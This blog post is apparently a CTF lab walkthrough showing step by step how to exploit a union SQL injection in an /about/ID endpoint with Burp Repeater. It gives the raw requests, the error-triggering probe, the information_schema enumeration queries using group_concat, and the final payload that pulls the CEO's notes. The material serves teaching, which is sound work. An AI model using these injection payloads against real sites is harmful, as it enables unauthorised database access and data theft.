boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

SQLi with Repeater

This is the extra-mile challenge for Burp Repeater: a slightly harder, real-world use of it. Anyone comfortable doing a manual SQL injection alone can skip to the last question and try it blind; otherwise the guide below walks through it.

Knowing the principles of SQLi helps, and the room on the topic covers them. Full steps are given here though, so in-depth knowledge of SQL injection is not needed to finish the task.

The Brief

There is a Union SQL Injection vulnerability in the ID parameter of the /about/ID endpoint. Find this vulnerability and execute an attack to retrieve the notes about the CEO stored in the database.

We already know there is a vulnerability and where it is. It just has to be exploited.

Capture the Request

Capture a request to http://10.10.234.23/about/2 in the Burp Proxy. Once it is captured, send it to Repeater with Ctrl + R or by right-clicking and choosing "Send to Repeater".

Confirm the Vulnerability

With the request primed in Repeater, confirm the vulnerability exists. A single apostrophe (') is usually enough to make the server error when a simple SQLi is present. Using Inspector, or by editing the request path by hand, add an apostrophe after the "2" at the end of the path and send the request:

GET /about/2' HTTP/1.1
Host: 10.10.234.23
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1 

The server answers with a "500 Internal Server Error", which means the query broke. The response headers from the server:

HTTP/1.1 500 INTERNAL SERVER ERROR<
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101 

Read the Verbose Error

Around line 40 of the response body there is something very interesting. The server shows the query it tried to run, in an overly verbose error message:

<h2>
    <code>Invalid statement: 
        <code>SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'</code>
    </code>
</h2>

The server should absolutely not be sending this, but having it makes the job much more straightforward. It gives two things that are invaluable for exploiting the vulnerability:

With this, the column-count and table-name enumeration steps can be skipped.

Find the Column Names

Most of the enumeration is cut out, but the name of the target column is still unknown.

Since the table name and the number of columns are known, a union query can select the column names of the people table from the columns table in the default information_schema database. A simple query for this:

/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"

This union query selects the target and then four null columns, so the query does not error out. The ID also changed from 2 to 0. An invalid ID means the original (legitimate) query returns nothing, so the first row coming back from the database is the result of the injected query.

In the response, the first column name (id) shows up in the page title:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360

<!DOCTYPE html>
<html lang=en>
    <head>
        <title>
            About | id None
        </title>
-----

Group the Results

That pulls the first column name out of the database, but there is a problem: the page only displays the first matching item, and we need to see all of them.

The SQLi can group the results. Still only one result comes back at a time, but group_concat() merges all of the column names into a single output:

/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

The process is shown below:

This shows eight columns in the table: id, firstName, lastName, pfpLink, role, shortRole, bio, and notes.

Given the task, the target column is a safe bet: notes.

Extract the Flag

Everything needed to take the flag is now known:

The query to extract the flag:

0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

Hey presto, we have a flag!